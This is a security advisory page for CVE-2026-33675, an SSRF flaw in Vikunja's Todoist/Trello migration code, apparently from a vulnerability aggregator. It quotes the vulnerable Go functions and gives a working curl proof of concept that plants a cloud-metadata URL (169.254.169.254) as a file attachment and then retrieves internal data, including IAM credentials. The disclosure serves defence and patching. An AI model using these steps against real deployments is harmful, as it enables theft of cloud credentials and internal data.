Vikunja has SSRF via Todoist/Trello Migration File Attachment URLs that Allows Reading Internal Network Resources
The migration helper functions DownloadFile and DownloadFileWithHeaders in pkg/modules/migration/helpers.go make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.
The vulnerability exists because the migration HTTP client uses a plain http.Client{} with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.
Vulnerable code in pkg/modules/migration/helpers.go:38-59:
```go
func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
if err != nil {
return nil, err
}
// ... headers added ...
hc := http.Client{}
resp, err := hc.Do(req)
// ... no URL validation, no IP filtering ...
buf = &bytes.Buffer{}
_, err = buf.ReadFrom(resp.Body) // no size limit
return
}
```
Call site in Todoist migration (pkg/modules/migration/todoist/todoist.go:433-435):
```go
if len(n.FileAttachment.FileURL) > 0 {
buf, err := migration.DownloadFile(n.FileAttachment.FileURL)
```
The FileURL is deserialized directly from the Todoist Sync API response (json:"file_url" tag at line 125) with no validation.
Call sites in Trello migration (pkg/modules/migration/trello/trello.go):
migration.DownloadFile(board.Prefs.BackgroundImage) — board backgroundmigration.DownloadFileWithHeaders(attachment.URL, ...) — card attachmentsmigration.DownloadFile(cover.URL) — card cover imagesNotably, the webhooks module in the same codebase was recently patched (commit 8d9bc3e) to add SSRF protection using the daenney/ssrf library, but this protection was not applied to the migration module — making this an incomplete fix.
Attack flow:
1. Attacker creates a Todoist account
2. Using the Todoist Sync API, attacker creates a note with file_attachment.file_url set to an internal URL (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/)
3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration
4. Vikunja's server fetches the internal URL and stores the response body as a task attachment
5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents
Prerequisites:
Step 1: Craft malicious Todoist data
Using the Todoist Sync API, create a note with an internal URL as the file attachment:
```bash
curl -X POST "https://api.todoist.com/sync/v9/sync" \
-H "Authorization: Bearer $TODOIST_TOKEN" \
-d 'commands=[{
"type": "note_add",
"temp_id": "ssrf-test-1",
"uuid": "550e8400-e29b-41d4-a716-446655440001",
"args": {
"item_id": "'$ITEM_ID'",
"content": "test note",
"file_attachment": {
"file_name": "metadata.txt",
"file_size": 1,
"file_type": "text/plain",
"file_url": "http://169.254.169.254/latest/meta-data/"
}
}
}]'
```
Step 2: Trigger migration on Vikunja
```bash
# Authenticate to Vikunja
TOKEN=$(curl -s -X POST "https://vikunja.example.com/api/v1/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"password"}' | jq -r .token)
# Initiate Todoist OAuth flow
curl -s "https://vikunja.example.com/api/v1/migration/todoist/auth" \
-H "Authorization: Bearer $TOKEN"
# After OAuth callback, trigger the migration
curl -s -X POST "https://vikunja.example.com/api/v1/migration/todoist/migrate" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"code":"<oauth_code>"}'
```
Step 3: Download the attachment containing internal data
```bash
# List tasks to find the attachment ID
curl -s "https://vikunja.example.com/api/v1/projects" \
-H "Authorization: Bearer $TOKEN"
# Download the attachment (contains response from internal URL)
curl -s "https://vikunja.example.com/api/v1/tasks/<task_id>/attachments/<attachment_id>" \
-H "Authorization: Bearer $TOKEN" -o metadata.txt
cat metadata.txt
# Expected: cloud instance metadata, internal service responses, etc.
```
An authenticated attacker can:
http://169.254.169.254/ to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deploymentsThis issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity none, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
CVE-2026-33675 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
CVE-2026-33675 is recorded against 2 packages.
Published on 26 March 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
vikunja.io (Web)
code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| code.vikunja.io/api | — | — |
| vikunja | — | 2.2.1 |
References
Similar Threats
Vulnerability Monitoring
CVE-2026-33675 is rated CVSS 6.4 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.